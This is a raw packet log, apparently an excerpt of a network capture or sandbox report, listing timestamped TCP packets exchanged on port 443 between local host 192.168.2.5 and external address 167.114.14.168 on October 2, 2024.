Oct 2, 2024 06:10:09.926193953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926276922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.926393986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926409006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926460028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.926474094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926521063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.926522017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.926637888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926652908 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926703930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.926717997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926769018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.926924944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926939964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.926991940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.927002907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.927030087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.927054882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.927265882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.927280903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.927336931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.927350044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.927432060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.927490950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.927505016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.927552938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.927571058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.927593946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.927623034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.944175005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.944197893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.944293022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:09.944308043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:09.944382906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.013005018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.013031006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.013139009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.013156891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.013236046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.014678955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.014694929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.014759064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.014771938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.014826059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.014998913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015013933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015074968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.015086889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015135050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.015264034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015279055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015345097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.015357971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015440941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.015551090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015567064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015631914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.015645027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015703917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.015811920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015826941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015893936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.015907049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.015969992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.016161919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.016184092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.016231060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.016243935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.016272068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.016303062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.023926973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.032915115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.032946110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.033016920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.033030033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.033056974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.033086061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.101556063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.101576090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.101772070 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.101799011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.101854086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.103307962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.103323936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.103404045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.103420019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.103454113 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.103478909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.103543043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.103558064 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.103620052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.103634119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.103687048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.103868961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.103883982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.103945017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.103956938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.103984118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.104027033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.104135990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.104152918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.104219913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.104233980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.104285955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.104396105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.104412079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.104477882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.104490042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.104543924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.104680061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.104695082 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.104754925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.104768038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.104823112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.121256113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.121270895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.121350050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.121362925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.121440887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.190184116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.190202951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.190285921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.190304995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.190368891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.191701889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.191716909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.191773891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.191787004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.191812038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.191829920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.191977978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.191994905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192050934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.192064047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192114115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.192370892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192385912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192439079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.192451000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192501068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.192501068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.192595959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192610025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192656040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.192667007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192709923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.192709923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.192888021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192908049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.192962885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.192975044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.193001032 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.193020105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.193228006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.193244934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.193304062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.193315983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.193342924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.193372965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.210071087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.210089922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.210159063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.210172892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.210199118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.210218906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.278695107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.278721094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.278853893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.278903961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.278969049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.280307055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.280322075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.280392885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.280411005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.280487061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.280560970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.280575991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.280642033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.280654907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.280715942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.282499075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.282515049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.282582998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.282597065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.282653093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.282927036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.282944918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.283003092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.283015966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.283066988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.283118963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.283135891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.283221006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.283233881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.283289909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.283366919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.283389091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.283442974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.283457041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.283513069 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.298430920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.298448086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.298525095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.298546076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.298629999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.380381107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.380408049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.380481958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.380502939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.380537987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.380558968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.382368088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.382385015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.382450104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.382462978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.382514000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.382631063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.382647991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.382707119 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.382720947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.382774115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.383697033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.383712053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.383781910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.383795977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.383851051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.384027004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.384047031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.384145021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.384156942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.384217978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.384382963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.384397030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.384457111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.384469986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.384526968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.384695053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.384710073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.384768009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.384782076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.384809971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.384835958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.386931896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.386946917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.387010098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.387023926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.387079000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.479422092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.479444981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.479587078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.479614973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.479634047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.479660988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.479686975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.479686975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.479810953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.479829073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.479887962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.479904890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480115891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480134964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480187893 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.480206013 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480232000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.480496883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480515003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480575085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480576038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.480591059 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480654001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480654001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.480671883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480724096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.480803967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480818987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480875969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.480890989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.480947971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.481200933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.481220961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.481420994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.481435061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.481556892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.558450937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.558470964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.558584929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.558607101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.558685064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.560256958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.560275078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.560343027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.560357094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.560414076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.560501099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.560522079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.560625076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.560637951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.560694933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.560738087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.560758114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.560826063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.560838938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.560906887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.561042070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.561058998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.561116934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.561130047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.561183929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.561686039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.561702967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.561774015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.561786890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.561841965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.561959982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.561976910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.562042952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.562055111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.562115908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.564213037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.564229012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.564292908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.564305067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.564354897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.647073030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.647090912 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.647224903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.647255898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.647342920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.648781061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.648797989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:10.648864985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:10.648879051 CEST	443	49715	167.114.14.168	192.168.2.5
